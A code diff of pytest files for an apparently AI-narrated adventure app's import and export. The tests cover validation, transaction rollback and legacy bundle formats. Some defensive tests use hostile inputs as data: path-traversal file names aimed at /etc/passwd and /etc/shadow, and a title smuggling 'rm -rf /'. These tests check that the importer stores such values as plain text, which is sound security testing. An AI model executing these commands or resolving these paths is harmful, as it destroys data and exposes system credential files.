"""`ON DELETE SET NULL`, as a file. The event is the accepted change.
|
||||
|
||||
A proposal can be deleted while the event it produced stands — the schema
|
||||
says so — so an event whose proposal is not in the file is not a broken
|
||||
file. It loses the pointer and keeps everything that makes it an audit
|
||||
record: what changed, where, and who asserted it.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["stateProposals"] = []
|
||||
copy_id = accepted(client, payload)
|
||||
events = client.get(
|
||||
f"/api/adventures/{copy_id}/state/events?limit=500"
|
||||
).json()
|
||||
assert len(events) == len(good["stateEvents"])
|
||||
assert any(e["source"] == "manual_correction" for e in events)
|
||||
with SessionLocal() as db:
|
||||
assert db.query(models.StateEvent).filter(
|
||||
models.StateEvent.adventure_id == copy_id,
|
||||
models.StateEvent.proposal_id.isnot(None),
|
||||
).count() == 0
|
||||
|
||||
|
||||
def test_a_malformed_narrative_state_costs_the_state_and_not_the_campaign(
|
||||
client, good
|
||||
):
|
||||
"""M5's rule, unchanged: a malformed document is normalised, not fatal.
|
||||
|
||||
The story is the valuable thing. A state section that arrives as nonsense
|
||||
becomes an empty document — which is honest, because nothing in it can be
|
||||
trusted — and every turn still imports.
|
||||
"""
|
||||
copy_id = accepted(client, broken(good, narrativeState={"entities": "wrong"}))
|
||||
story = client.get(f"/api/adventures/{copy_id}").json()
|
||||
assert len(story["actions"]) == len(
|
||||
client.get(f"/api/adventures/{client.adv_id}").json()["actions"]
|
||||
)
|
||||
state = client.get(f"/api/adventures/{copy_id}/state").json()
|
||||
assert state["document"]["entities"] == {}
|
||||
|
||||
|
||||
def test_a_per_position_snapshot_that_is_not_an_object_is_dropped(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
for action in payload["actions"]:
|
||||
if "narrativeStateAfter" in action:
|
||||
action["narrativeStateAfter"] = "not a document"
|
||||
copy_id = accepted(client, payload)
|
||||
assert client.get(f"/api/adventures/{copy_id}").status_code == 200
|
||||
# Arriving at such a position gives the empty document rather than a
|
||||
# later position's state, which is M5's finding 3.
|
||||
client.post(f"/api/adventures/{copy_id}/undo")
|
||||
assert client.get(f"/api/adventures/{copy_id}/state").json()["document"]["facts"] == []
|
||||
|
||||
|
||||
# -------------------------------------------------------------- knowledge
|
||||
|
||||
def test_a_knowledge_section_that_is_not_a_list_is_refused(client, good):
|
||||
assert "list" in refused(client, broken(good, knowledge={"a": 1}))
|
||||
|
||||
|
||||
def test_a_source_with_no_content_is_refused(client, good):
|
||||
"""Refused rather than dropped, and M7 chose that deliberately.
|
||||
|
||||
A campaign whose imported Canon quietly did not arrive is a campaign whose
|
||||
narrator has stopped being told the rules, and the reader has no way to
|
||||
notice.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["knowledge"][0]["content"] = ""
|
||||
assert "content" in refused(client, payload)
|
||||
|
||||
|
||||
def test_a_source_with_an_unknown_classification_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["knowledge"][0]["classification"] = "gospel"
|
||||
assert "classification" in refused(client, payload)
|
||||
|
||||
|
||||
def test_a_source_that_is_not_an_object_is_refused(client, good):
|
||||
payload = copy.deepcopy(good)
|
||||
payload["knowledge"][0] = "canon.md"
|
||||
refused(client, payload)
|
||||
|
||||
|
||||
def test_an_unreadable_visibility_becomes_normal_rather_than_hidden(client, good):
|
||||
"""Repaired, and in the direction that reveals rather than conceals.
|
||||
|
||||
Visibility is not a permission system — the person who imported the file can
|
||||
always read it — so a source that should have been narrator-only and lands
|
||||
as normal costs a spoiler in the prompt framing. The other direction would
|
||||
silently withhold material the reader expects the narrator to use, with
|
||||
nothing saying so.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
for source in payload["knowledge"]:
|
||||
source["visibility"] = "invisible"
|
||||
copy_id = accepted(client, payload)
|
||||
library = client.get(f"/api/adventures/{copy_id}/knowledge").json()
|
||||
assert all(source["visibility"] == "normal" for source in library)
|
||||
|
||||
|
||||
def test_a_content_hash_that_disagrees_is_recomputed_and_reported(client, good):
|
||||
"""The one derived value in the file, and the only reason it is there.
|
||||
|
||||
The stored hash is recomputed from what actually arrived, so it always
|
||||
describes the content. The file's own claim is not silently discarded
|
||||
either: a mismatch means the file was edited after it was written, and the
|
||||
reader is told on the source itself.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["knowledge"][0]["contentHash"] = "0" * 64
|
||||
copy_id = accepted(client, payload)
|
||||
library = client.get(f"/api/adventures/{copy_id}/knowledge").json()
|
||||
edited = [s for s in library if s["content_hash"] != "0" * 64]
|
||||
assert len(edited) == len(library)
|
||||
detail = client.get(
|
||||
f"/api/adventures/{copy_id}/knowledge/{library[0]['id']}"
|
||||
).json()
|
||||
assert "did not match" in detail["notes"]
|
||||
|
||||
|
||||
def test_more_sources_than_the_cap_is_refused(client, good, monkeypatch):
|
||||
from app.knowledge import importer
|
||||
|
||||
monkeypatch.setattr(importer, "MAX_SOURCES_PER_ADVENTURE", 2)
|
||||
assert "limit" in refused(client, good)
|
||||
|
||||
|
||||
def test_an_oversized_source_is_refused(client, good, monkeypatch):
|
||||
from app.knowledge import importer
|
||||
|
||||
monkeypatch.setattr(importer, "MAX_SOURCE_BYTES", 32)
|
||||
assert "larger than" in refused(client, good)
|
||||
|
||||
|
||||
# ------------------------------------------------------------- provenance
|
||||
|
||||
def test_a_context_snapshot_that_is_not_an_object_is_dropped(client, good):
|
||||
"""Evidence is restored verbatim or not at all. It is never guessed at."""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["actions"] = [
|
||||
{k: v for k, v in action.items() if k != "contextSnapshotZ"}
|
||||
| ({"contextSnapshot": "the prompt was long"}
|
||||
if m9_fixture.snapshot_in(action) else {})
|
||||
for action in payload["actions"]
|
||||
]
|
||||
copy_id = accepted(client, payload)
|
||||
page = client.get(f"/api/adventures/{copy_id}").json()
|
||||
narrator = [a for a in page["actions"] if a["type"] == "ai"]
|
||||
assert narrator
|
||||
for action in narrator:
|
||||
response = client.get(
|
||||
f"/api/adventures/{copy_id}/actions/{action['id']}/context"
|
||||
)
|
||||
assert response.status_code == 404, "a mangled snapshot was restored"
|
||||
|
||||
|
||||
def test_a_snapshot_whose_knowledge_block_is_nonsense_does_not_break_the_import(
|
||||
client, good
|
||||
):
|
||||
payload = copy.deepcopy(good)
|
||||
rewritten = []
|
||||
for action in payload["actions"]:
|
||||
snapshot = m9_fixture.snapshot_in(action)
|
||||
if isinstance(snapshot, dict) and "knowledge" in snapshot:
|
||||
snapshot["knowledge"] = ["not", "a", "report"]
|
||||
rewritten.append(m9_fixture.with_snapshot(action, snapshot))
|
||||
else:
|
||||
rewritten.append(action)
|
||||
payload["actions"] = rewritten
|
||||
copy_id = accepted(client, payload)
|
||||
assert client.get(f"/api/adventures/{copy_id}").status_code == 200
|
||||
|
||||
|
||||
def test_a_snapshot_naming_an_impossible_source_is_relinked_to_nothing(
|
||||
client, good
|
||||
):
|
||||
payload = copy.deepcopy(good)
|
||||
rewritten = []
|
||||
for action in payload["actions"]:
|
||||
snapshot = m9_fixture.snapshot_in(action)
|
||||
if not isinstance(snapshot, dict):
|
||||
rewritten.append(action)
|
||||
continue
|
||||
for record in (snapshot.get("knowledge") or {}).get("used") or []:
|
||||
record["source_id"] = -1
|
||||
rewritten.append(m9_fixture.with_snapshot(action, snapshot))
|
||||
payload["actions"] = rewritten
|
||||
copy_id = accepted(client, payload)
|
||||
with SessionLocal() as db:
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
for row in (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == copy_id)
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
):
|
||||
snapshot = row.context_snapshot
|
||||
if not isinstance(snapshot, dict):
|
||||
continue
|
||||
for record in (snapshot.get("knowledge") or {}).get("used") or []:
|
||||
assert record["source_id"] is None
|
||||
|
||||
|
||||
# ------------------------------------------------------------ summaries
|
||||
|
||||
def test_a_summary_with_no_coordinate_is_dropped_not_placed(client, good):
|
||||
"""Placing it at a guess is how E03's leak would arrive by a new route."""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["summaries"][0]["depth"] = None
|
||||
copy_id = accepted(client, payload)
|
||||
with SessionLocal() as db:
|
||||
landed = db.query(models.Summary).filter(
|
||||
models.Summary.adventure_id == copy_id
|
||||
).count()
|
||||
assert landed == len(good["summaries"]) - 1
|
||||
|
||||
|
||||
def test_a_summaries_section_that_is_not_a_list_costs_the_summaries_only(
|
||||
client, good
|
||||
):
|
||||
copy_id = accepted(client, broken(good, summaries="a paragraph"))
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["actions"]
|
||||
with SessionLocal() as db:
|
||||
assert db.query(models.Summary).filter(
|
||||
models.Summary.adventure_id == copy_id
|
||||
).count() == 0
|
||||
|
||||
|
||||
# ------------------------------------------------------------ caps and size
|
||||
|
||||
def test_more_actions_than_the_cap_is_refused(client, good, monkeypatch):
|
||||
monkeypatch.setattr(limits, "MAX_ACTIONS_PER_ADVENTURE", 3)
|
||||
monkeypatch.setitem(limits._BUNDLE_LIST_CAPS, "actions", 3)
|
||||
assert "limit" in refused(client, good)
|
||||
|
||||
|
||||
def test_more_branches_than_the_cap_is_refused(client, good, monkeypatch):
|
||||
monkeypatch.setattr(limits, "MAX_BRANCHES_PER_ADVENTURE", 1)
|
||||
monkeypatch.setitem(limits._BUNDLE_LIST_CAPS, "branches", 1)
|
||||
assert "limit" in refused(client, good)
|
||||
|
||||
|
||||
def test_a_body_past_the_import_ceiling_is_refused_before_it_is_parsed(client):
|
||||
"""413 from the middleware, on the declared length, before any read."""
|
||||
padding = "x" * (limits.MAX_IMPORT_BODY_BYTES + 1024)
|
||||
response = client.post(
|
||||
"/api/adventures/import",
|
||||
content=json.dumps({"format": "ai-dnd-adventure-v3", "title": padding}),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
assert response.status_code == 413
|
||||
assert "too large" in response.json()["detail"].lower()
|
||||
|
||||
|
||||
# ------------------------------------------------- the transaction, not the plan
|
||||
|
||||
def test_a_failure_deep_inside_the_write_leaves_nothing_behind(
|
||||
client, good, monkeypatch
|
||||
):
|
||||
"""The other half of atomicity, and the half the planner cannot provide.
|
||||
|
||||
Every test above is refused by `bundle.plan`, which has no side effects — so
|
||||
they prove the *planner*, and a passing planner would look identical if the
|
||||
write phase left debris. This one breaks something the planner has already
|
||||
approved, half way through writing: the branches, the nodes, their
|
||||
parentage, the memories, the head and the Save Points are all in the session
|
||||
by then.
|
||||
|
||||
What must survive that is the whole transaction rolling back — every table,
|
||||
not merely the adventure row. A half-written campaign is the outcome L01
|
||||
forbids for a turn, and an import is the other place it could happen.
|
||||
"""
|
||||
from app import bundle as bundle_module
|
||||
|
||||
def explode(*args, **kwargs):
|
||||
raise RuntimeError("simulated failure deep inside the write")
|
||||
|
||||
monkeypatch.setattr(bundle_module, "_write_summaries", explode)
|
||||
before = _counts()
|
||||
with pytest.raises(RuntimeError, match="simulated failure"):
|
||||
client.post("/api/adventures/import", json=good)
|
||||
assert _counts() == before, (
|
||||
"a failed write left rows behind: "
|
||||
f"{ {k: (before[k], v) for k, v in _counts().items() if before[k] != v} }"
|
||||
)
|
||||
|
||||
|
||||
def test_the_session_is_usable_after_a_failed_import(client, good, monkeypatch):
|
||||
"""The rollback is explicit, so the next request is not poisoned by it.
|
||||
|
||||
Left to the session closing, a failure would leave the request's session in
|
||||
a state the next caller inherits only by luck of pooling. `bundle_io` rolls
|
||||
back and re-raises, so the very next import succeeds.
|
||||
"""
|
||||
from app import bundle as bundle_module
|
||||
|
||||
calls = {"n": 0}
|
||||
original = bundle_module._write_summaries
|
||||
|
||||
def once(*args, **kwargs):
|
||||
calls["n"] += 1
|
||||
if calls["n"] == 1:
|
||||
raise RuntimeError("simulated, once")
|
||||
return original(*args, **kwargs)
|
||||
|
||||
monkeypatch.setattr(bundle_module, "_write_summaries", once)
|
||||
with pytest.raises(RuntimeError):
|
||||
client.post("/api/adventures/import", json=good)
|
||||
copy_id = accepted(client, good)
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["actions"]
|
||||
|
||||
|
||||
# --------------------------------------------------------------- inert data
|
||||
|
||||
def test_a_url_in_a_bundle_stays_text(client, good):
|
||||
"""H01/G08 for the import path: nothing in a file is ever fetched.
|
||||
|
||||
There is no allowlist to test and no request to intercept, which is the
|
||||
result rather than a gap — the import has no code that could make one. What
|
||||
is asserted is that the text arrives as text.
|
||||
"""
|
||||
payload = copy.deepcopy(good)
|
||||
payload["knowledge"][0]["content"] = (
|
||||
"# Sources\n\nSee https://example.invalid/secret.txt and "
|
||||
"file:///etc/passwd and \n"
|
||||
)
|
||||
copy_id = accepted(client, payload)
|
||||
library = client.get(f"/api/adventures/{copy_id}/knowledge").json()
|
||||
detail = client.get(
|
||||
f"/api/adventures/{copy_id}/knowledge/{library[0]['id']}"
|
||||
).json()
|
||||
assert "https://example.invalid/secret.txt" in detail["content"]
|
||||
|
||||
|
||||
def test_a_path_in_a_bundle_never_becomes_a_path(client, good):
|
||||
"""H08. `originalFilename` is metadata; the import stores no file."""
|
||||
payload = copy.deepcopy(good)
|
||||
for hostile in ("../../../etc/passwd", "/etc/shadow", "C:\\Windows\\hosts",
|
||||
"....//....//etc/passwd"):
|
||||
payload["knowledge"][0]["originalFilename"] = hostile
|
||||
copy_id = accepted(client, payload)
|
||||
library = client.get(f"/api/adventures/{copy_id}/knowledge").json()
|
||||
for source in library:
|
||||
assert "/" not in source["original_filename"]
|
||||
assert "\\" not in source["original_filename"]
|
||||
assert ".." not in source["original_filename"]
|
||||
|
||||
|
||||
def test_a_title_that_looks_like_a_command_is_stored_as_a_title(client, good):
|
||||
payload = broken(good, title="; rm -rf / #")
|
||||
copy_id = accepted(client, payload)
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["title"] == "; rm -rf / #"
|
||||
|
||||
|
||||
def test_an_over_long_title_is_truncated_rather_than_refused(client, good):
|
||||
copy_id = accepted(client, broken(good, title="A" * 5_000))
|
||||
title = client.get(f"/api/adventures/{copy_id}").json()["title"]
|
||||
assert 0 < len(title) <= 200
|
||||
@@ -0,0 +1,365 @@
|
||||
"""M9: every older bundle still imports, and none is reinterpreted.
|
||||
|
||||
A backup that stops importing is not a backup, so the importer keeps every
|
||||
version it has ever written. That is the easy half. The hard half is the rule
|
||||
`V1-ACCEPTANCE-TESTS.md` I07 states about the head and this file generalises:
|
||||
|
||||
> Do not reinterpret missing legacy data using modern assumptions that did not
|
||||
> exist when the file was written.
|
||||
|
||||
An older file is missing things because its **format** could not carry them, not
|
||||
because the campaign lacked them, and the two demand opposite treatment. A file
|
||||
written before the head was carried opens at its tip, because tip was the only
|
||||
position that format could represent — reproducing what it recorded. A file
|
||||
written before state events existed opens with no state events, because
|
||||
manufacturing an audit trail from the snapshots it does carry would be this
|
||||
build's reading of a history it never saw, handed to a reader as the record of
|
||||
what happened.
|
||||
|
||||
Each seam below is built by taking a real v3 export and removing exactly what
|
||||
the older format could not hold. That is deliberate: a checked-in fixture file
|
||||
drifts, and a hand-written one tests a shape nothing ever wrote.
|
||||
|
||||
python -m pytest tests/test_m9_legacy_bundles.py -v
|
||||
"""
|
||||
|
||||
import copy
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, bundle, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
import m9_fixture
|
||||
from fakes import ScriptedProvider
|
||||
from test_m9_portability import StubDerived
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="legacy@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="stub-embed",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Source",
|
||||
campaign_canon=m9_fixture.CAMPAIGN_CANON,
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text=m9_fixture.OPENING,
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def current(client):
|
||||
"""A real v3 export of the M9 fixture, to age backwards from."""
|
||||
m9_fixture.build(client, client.adv_id)
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/export")
|
||||
assert response.status_code == 200
|
||||
return response.json()
|
||||
|
||||
|
||||
# ---------------------------------------------------- ageing a bundle backwards
|
||||
|
||||
def as_of(payload: dict, era: str) -> dict:
|
||||
"""The same campaign as an export from an earlier era.
|
||||
|
||||
Each step removes only what that era's format genuinely could not carry, so
|
||||
the result is the file a build of that vintage would have produced from this
|
||||
campaign — not a mutilated modern one.
|
||||
"""
|
||||
older = copy.deepcopy(payload)
|
||||
eras = ("pre-m9", "pre-m7", "pre-m5", "pre-save-points", "pre-active-head")
|
||||
assert era in eras, era
|
||||
reached = eras.index(era)
|
||||
|
||||
# M9 (v3): the evidence sections and the node identities.
|
||||
older["format"] = bundle.TREE_FORMAT
|
||||
for key in ("stateEvents", "stateProposals", "summaries"):
|
||||
older.pop(key, None)
|
||||
for action in older["actions"]:
|
||||
for key in ("contextSnapshot", "contextSnapshotZ", "id", "parentId"):
|
||||
action.pop(key, None)
|
||||
for memory in older.get("memories") or []:
|
||||
memory.pop("authority", None)
|
||||
for source in older.get("knowledge") or []:
|
||||
for key in ("sourceId", "parserVersion", "chunkingVersion"):
|
||||
source.pop(key, None)
|
||||
if reached == 0:
|
||||
return older
|
||||
|
||||
# M7: the imported knowledge library.
|
||||
older.pop("knowledge", None)
|
||||
if reached == 1:
|
||||
return older
|
||||
|
||||
# M5: the authoritative narrative state, its per-position snapshots, and
|
||||
# the campaign's own canon.
|
||||
for key in ("narrativeState", "campaignCanon"):
|
||||
older.pop(key, None)
|
||||
for action in older["actions"]:
|
||||
for key in ("narrativeStateAfter", "stateChanges"):
|
||||
action.pop(key, None)
|
||||
if reached == 2:
|
||||
return older
|
||||
|
||||
# M4: named Save Points.
|
||||
older.pop("checkpoints", None)
|
||||
if reached == 3:
|
||||
return older
|
||||
|
||||
# M3: the chosen head. Such a file could only ever be read at its tip.
|
||||
older.pop("headDepth", None)
|
||||
return older
|
||||
|
||||
|
||||
def bring_back(client, payload) -> int:
|
||||
response = client.post("/api/adventures/import", json=payload)
|
||||
assert response.status_code == 201, response.text[:500]
|
||||
return response.json()["id"]
|
||||
|
||||
|
||||
def _rows(adv_id, model) -> int:
|
||||
with SessionLocal() as db:
|
||||
return db.query(model).filter(model.adventure_id == adv_id).count()
|
||||
|
||||
|
||||
def _tree_size(client, adv_id) -> int:
|
||||
"""Every retained row, which is what "no accepted story was lost" means."""
|
||||
return len(client.get(f"/api/adventures/{adv_id}/export").json()["actions"])
|
||||
|
||||
|
||||
# --------------------------------------------------------------- every era
|
||||
|
||||
@pytest.mark.parametrize("era", [
|
||||
"pre-m9", "pre-m7", "pre-m5", "pre-save-points", "pre-active-head",
|
||||
])
|
||||
def test_no_accepted_story_is_lost_at_any_seam(client, current, era):
|
||||
"""The floor under every case below: the turns all arrive.
|
||||
|
||||
Counted over the whole retained tree rather than the active path, because
|
||||
the head moves between eras and a count of what is on screen would move
|
||||
with it.
|
||||
"""
|
||||
copy_id = bring_back(client, as_of(current, era))
|
||||
assert _tree_size(client, copy_id) == len(current["actions"])
|
||||
|
||||
|
||||
@pytest.mark.parametrize("era", [
|
||||
"pre-m9", "pre-m7", "pre-m5", "pre-save-points", "pre-active-head",
|
||||
])
|
||||
def test_nothing_is_invented_to_fill_a_gap_the_format_left(client, current, era):
|
||||
"""Absent means the format could not say. It never means "make one up".
|
||||
|
||||
Each era is checked against what that era's files could hold: a pre-M9 file
|
||||
gets no audit trail and no summaries, a pre-M7 file no knowledge, a pre-M5
|
||||
file no state, a pre-Save-Point file no Save Points.
|
||||
"""
|
||||
copy_id = bring_back(client, as_of(current, era))
|
||||
reached = ("pre-m9", "pre-m7", "pre-m5", "pre-save-points",
|
||||
"pre-active-head").index(era)
|
||||
|
||||
assert _rows(copy_id, models.StateEvent) == 0
|
||||
assert _rows(copy_id, models.StateProposal) == 0
|
||||
assert _rows(copy_id, models.Summary) == 0
|
||||
if reached >= 1:
|
||||
assert _rows(copy_id, models.KnowledgeSource) == 0
|
||||
assert _rows(copy_id, models.KnowledgeChunk) == 0
|
||||
if reached >= 2:
|
||||
state = client.get(f"/api/adventures/{copy_id}/state").json()
|
||||
assert state["document"]["facts"] == []
|
||||
assert state["document"]["entities"] == {}
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["canon_rules"] == []
|
||||
if reached >= 3:
|
||||
assert _rows(copy_id, models.Checkpoint) == 0
|
||||
|
||||
|
||||
# ------------------------------------------------------ the head, era by era
|
||||
|
||||
def test_a_pre_m9_file_still_opens_at_the_head_it_recorded(client, current):
|
||||
"""v2 carried the head, so it is honoured exactly as before."""
|
||||
copy_id = bring_back(client, as_of(current, "pre-m9"))
|
||||
with SessionLocal() as db:
|
||||
assert db.get(models.Adventure, copy_id).head_depth == current["headDepth"]
|
||||
|
||||
|
||||
def test_a_pre_active_head_file_opens_at_its_tip(client, current):
|
||||
"""I07's compatibility clause. Not a degraded path.
|
||||
|
||||
Such a file was written when the head could not be anywhere but the tip, so
|
||||
opening it there reproduces the position it recorded. An import that refused
|
||||
it, or that guessed some other position, would be the failure.
|
||||
"""
|
||||
copy_id = bring_back(client, as_of(current, "pre-active-head"))
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, copy_id)
|
||||
tip = max(
|
||||
row.depth for row in
|
||||
db.query(models.Action).filter(
|
||||
models.Action.adventure_id == copy_id,
|
||||
models.Action.branch_id == adventure.head_branch_id,
|
||||
)
|
||||
)
|
||||
assert adventure.head_depth == tip
|
||||
assert adventure.head_depth > current["headDepth"], (
|
||||
"the fixture's head must really be behind its tip, or this proves nothing"
|
||||
)
|
||||
|
||||
|
||||
def test_a_pre_active_head_file_offers_no_redo_because_it_is_at_the_tip(
|
||||
client, current
|
||||
):
|
||||
copy_id = bring_back(client, as_of(current, "pre-active-head"))
|
||||
page = client.get(f"/api/adventures/{copy_id}").json()
|
||||
assert page["can_redo"] is False
|
||||
assert page["can_undo"] is True
|
||||
|
||||
|
||||
# ----------------------------------------------------- what each era can do
|
||||
|
||||
def test_a_pre_m5_campaign_can_be_played_on_and_gains_state_from_there(
|
||||
client, current
|
||||
):
|
||||
"""The M5 rule, applied to an import: no backfill, and no obstacle either.
|
||||
|
||||
An old campaign starts with an empty state because its narration was never
|
||||
read by a state extractor. The next turn fills it in, which is what makes
|
||||
"no backfill" a decision rather than a loss.
|
||||
"""
|
||||
copy_id = bring_back(client, as_of(current, "pre-m5"))
|
||||
assert client.get(f"/api/adventures/{copy_id}/state").json()["empty"] is True
|
||||
|
||||
ScriptedProvider.replies = [
|
||||
"The door gives at last.\n" + __import__("fakes").state_block([
|
||||
{"type": "add_fact", "predicate": "tally", "value": 500,
|
||||
"fact_id": "tally-500"}
|
||||
])
|
||||
]
|
||||
played = client.post(f"/api/adventures/{copy_id}/actions",
|
||||
json={"type": "do", "text": "push harder"})
|
||||
assert played.status_code == 200, played.text[:300]
|
||||
after = client.get(f"/api/adventures/{copy_id}/state").json()
|
||||
assert after["empty"] is False
|
||||
assert any(f["predicate"] == "tally" for f in after["document"]["facts"])
|
||||
|
||||
|
||||
def test_a_pre_m7_campaign_needs_no_source_and_can_import_one(client, current):
|
||||
copy_id = bring_back(client, as_of(current, "pre-m7"))
|
||||
assert client.get(f"/api/adventures/{copy_id}/knowledge").json() == []
|
||||
# It plays without one.
|
||||
assert client.get(f"/api/adventures/{copy_id}/context").status_code == 200
|
||||
# And gains one.
|
||||
landed = m9_fixture.upload(
|
||||
client, copy_id, "canon.md", m9_fixture.CANON_MD, "canon",
|
||||
)
|
||||
library = client.get(f"/api/adventures/{copy_id}/knowledge").json()
|
||||
assert [s["id"] for s in library] == [landed]
|
||||
assert library[0]["index_state"] == "ready"
|
||||
|
||||
|
||||
def test_a_pre_save_point_campaign_can_be_given_one(client, current):
|
||||
copy_id = bring_back(client, as_of(current, "pre-save-points"))
|
||||
assert client.get(f"/api/adventures/{copy_id}/checkpoints").json() == []
|
||||
made = client.post(f"/api/adventures/{copy_id}/checkpoints",
|
||||
json={"name": "From here", "note": ""})
|
||||
assert made.status_code == 201, made.text[:300]
|
||||
assert made.json()["resolved"] is True
|
||||
|
||||
|
||||
def test_a_pre_m9_campaign_re_exports_as_v3_without_gaining_evidence(
|
||||
client, current
|
||||
):
|
||||
"""Re-exporting an old campaign does not turn absence into presence.
|
||||
|
||||
The file it writes is a v3 file, because that is what this build writes. Its
|
||||
evidence sections are empty, because the campaign genuinely has none — and a
|
||||
later reader can therefore trust a v3 file's empty `stateEvents` to mean
|
||||
"this campaign has no audit trail" rather than "the file could not say".
|
||||
"""
|
||||
copy_id = bring_back(client, as_of(current, "pre-m9"))
|
||||
again = client.get(f"/api/adventures/{copy_id}/export").json()
|
||||
assert again["format"] == bundle.FORMAT
|
||||
assert again["stateEvents"] == []
|
||||
assert again["stateProposals"] == []
|
||||
assert again["summaries"] == []
|
||||
assert not any(a.get("contextSnapshotZ") for a in again["actions"])
|
||||
# And the story it does have survives a second round trip unchanged.
|
||||
twice = bring_back(client, again)
|
||||
assert _tree_size(client, twice) == _tree_size(client, copy_id)
|
||||
|
||||
|
||||
def test_a_v1_file_still_imports_and_reads_in_order(client):
|
||||
"""The flat format, with its retries as a repeating group."""
|
||||
copy_id = bring_back(client, {
|
||||
"format": bundle.LEGACY_FORMAT,
|
||||
"title": "An old flat file",
|
||||
"memory": "Kept from before the tree.",
|
||||
"actions": [
|
||||
{"index": 0, "type": "start", "text": "It begins."},
|
||||
{"index": 1, "type": "do", "text": "look around"},
|
||||
{"index": 2, "type": "ai", "text": "Take two.",
|
||||
"variants": [{"text": "Take one."}, {"text": "Take two."}],
|
||||
"variantIndex": 1},
|
||||
],
|
||||
})
|
||||
page = client.get(f"/api/adventures/{copy_id}").json()
|
||||
assert [a["text"] for a in page["actions"]] == [
|
||||
"It begins.", "look around", "Take two.",
|
||||
]
|
||||
assert page["memory"] == "Kept from before the tree."
|
||||
# Both attempts arrived; only one is the story.
|
||||
with SessionLocal() as db:
|
||||
rows = db.query(models.Action).filter(
|
||||
models.Action.adventure_id == copy_id, models.Action.type == "ai",
|
||||
).all()
|
||||
assert sorted(r.text for r in rows) == ["Take one.", "Take two."]
|
||||
assert sum(1 for r in rows if r.live) == 1
|
||||
|
||||
|
||||
def test_a_pre_m2_file_with_scripting_still_imports(client, current):
|
||||
"""M2 removed campaign scripting. Its keys are ignored, not rejected.
|
||||
|
||||
The story, the tree and everything else in such a file are still worth
|
||||
importing, and refusing the campaign over a subsystem that no longer exists
|
||||
would lose all of it to reject one key.
|
||||
"""
|
||||
payload = as_of(current, "pre-m5")
|
||||
payload["scripts"] = [{"name": "onTurn", "code": "state.gold += 10"}]
|
||||
payload["scriptState"] = {"gold": 70}
|
||||
copy_id = bring_back(client, payload)
|
||||
assert _tree_size(client, copy_id) == len(current["actions"])
|
||||
File diff suppressed because it is too large
Load Diff
@@ -196,7 +196,7 @@ def restore_embedding_provider():
|
||||
def retrieved(adventure, settings) -> set[str]:
|
||||
memorybank.embedding_provider = lambda s: StubEmbedder()
|
||||
result = asyncio.run(
|
||||
memorybank.retrieve_memories(adventure, settings, update_stats=False)
|
||||
memorybank.retrieve_memories(adventure, settings)
|
||||
)
|
||||
assert result["error"] is None, result["error"]
|
||||
return {m["text"] for m in result["used"]}
|
||||
|
||||
@@ -121,7 +121,6 @@ def bank(db, adventure):
|
||||
|
||||
def retrieve(adventure, settings, embedder, **kwargs):
|
||||
memorybank.embedding_provider = lambda s: embedder
|
||||
kwargs.setdefault("update_stats", False)
|
||||
return asyncio.run(memorybank.retrieve_memories(adventure, settings, **kwargs))
|
||||
|
||||
|
||||
@@ -185,10 +184,11 @@ def test_missing_embedding_model_is_reported(db, adventure, settings, bank):
|
||||
assert result["used"] == [] and "embedding model" in result["error"]
|
||||
|
||||
|
||||
def test_update_stats_bumps_only_the_used(db, adventure, settings, bank):
|
||||
def test_record_use_bumps_only_the_used(db, adventure, settings, bank):
|
||||
settings.memory_top_k = 1
|
||||
db.commit()
|
||||
retrieve(adventure, settings, StubEmbedder((1.0, 0.0, 0.0)), update_stats=True)
|
||||
